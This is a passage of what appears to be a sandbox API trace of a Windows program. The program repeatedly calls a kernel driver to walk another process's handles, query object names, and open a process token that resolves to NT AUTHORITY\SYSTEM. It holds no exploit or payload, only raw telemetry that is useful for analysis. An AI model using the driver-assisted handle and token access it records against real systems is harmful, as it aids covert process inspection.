hHeap=0x270000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0113.185] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.185] PsAcquireProcessExitSynchronization () returned 0x0 [0113.185] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.185] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0113.185] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.185] PsReleaseProcessExitSynchronization () returned 0x2 [0113.185] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.185] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384f7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800384f7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0113.185] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0113.185] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.185] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.185] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.185] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.185] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.185] PsAcquireProcessExitSynchronization () returned 0x0 [0113.186] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.186] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0113.186] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.186] PsReleaseProcessExitSynchronization () returned 0x2 [0113.186] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.186] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa8001fa97c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa97c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.186] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0113.186] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.186] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.186] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.186] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.186] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.186] PsAcquireProcessExitSynchronization () returned 0x0 [0113.186] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.186] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0113.186] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.186] PsReleaseProcessExitSynchronization () returned 0x2 [0113.186] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.186] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa80037ab044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037ab044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.186] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0113.186] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.186] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.186] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.186] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.186] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.186] PsAcquireProcessExitSynchronization () returned 0x0 [0113.186] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.186] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0113.186] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.187] PsReleaseProcessExitSynchronization () returned 0x2 [0113.187] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.187] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa800392e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800392e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.187] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0113.187] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.187] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.187] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.187] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0113.187] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.187] PsAcquireProcessExitSynchronization () returned 0x0 [0113.187] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.187] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0113.187] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.187] PsReleaseProcessExitSynchronization () returned 0x2 [0113.187] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.187] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800254e7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254e7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.187] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0113.187] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.187] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.187] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.187] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.187] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.187] PsAcquireProcessExitSynchronization () returned 0x0 [0113.187] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.187] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0113.187] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.187] PsReleaseProcessExitSynchronization () returned 0x2 [0113.187] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.187] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa80037aa7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80037aa7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.187] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0113.187] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.188] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.188] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.188] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0113.188] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.188] PsAcquireProcessExitSynchronization () returned 0x0 [0113.188] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.188] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0113.188] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.188] PsReleaseProcessExitSynchronization () returned 0x2 [0113.188] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.188] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.188] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0113.188] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.188] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.188] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.188] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.188] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.188] PsAcquireProcessExitSynchronization () returned 0x0 [0113.188] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.188] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.188] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.188] PsReleaseProcessExitSynchronization () returned 0x2 [0113.188] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.188] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.188] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.188] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.188] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.188] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.188] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0113.188] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.188] PsAcquireProcessExitSynchronization () returned 0x0 [0113.188] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.188] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0113.189] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.189] PsReleaseProcessExitSynchronization () returned 0x2 [0113.189] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.189] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0113.189] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0113.189] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.189] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.189] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.189] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0113.189] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.189] PsAcquireProcessExitSynchronization () returned 0x0 [0113.189] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.189] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0113.189] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.189] PsReleaseProcessExitSynchronization () returned 0x2 [0113.189] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.189] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.189] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0113.189] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.189] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.189] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.189] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0113.189] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.189] PsAcquireProcessExitSynchronization () returned 0x0 [0113.189] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.189] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0113.189] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.189] PsReleaseProcessExitSynchronization () returned 0x2 [0113.189] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.189] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.189] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0113.189] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.190] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.190] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.190] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0113.190] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.190] PsAcquireProcessExitSynchronization () returned 0x0 [0113.190] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.190] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0113.190] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.190] PsReleaseProcessExitSynchronization () returned 0x2 [0113.190] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.190] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.190] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0113.190] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.190] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.190] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.190] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.190] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.190] PsAcquireProcessExitSynchronization () returned 0x0 [0113.190] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880055905d0) [0113.190] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0113.190] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.190] PsReleaseProcessExitSynchronization () returned 0x2 [0113.190] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xcd [0113.190] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.190] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0113.190] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.190] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.190] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0113.190] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0113.190] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0113.191] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000a48) returned 0x0 [0113.191] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ef [0113.191] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a48, DesiredAccess=0x8, TokenHandle=0xfffffa8003120740 | out: TokenHandle=0xfffffa8003120740*=0xc8) returned 0x0 [0113.191] ZwClose (Handle=0xffffffff80000a48) returned 0x0 [0113.191] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.191] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0113.191] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0113.354] CloseHandle (hObject=0xc8) returned 1 [0113.354] CloseHandle (hObject=0xc0) returned 1 [0113.354] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.354] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0113.354] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.354] PsAcquireProcessExitSynchronization () returned 0x0 [0113.354] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880055905d0) [0113.354] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003175900, HandleInformation=0x0) returned 0x0 [0113.354] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.354] PsReleaseProcessExitSynchronization () returned 0x2 [0113.354] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ed [0113.354] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.354] ObfDereferenceObject (Object=0xfffffa8003175900) returned 0x1 [0113.354] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.354] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.354] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.354] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, 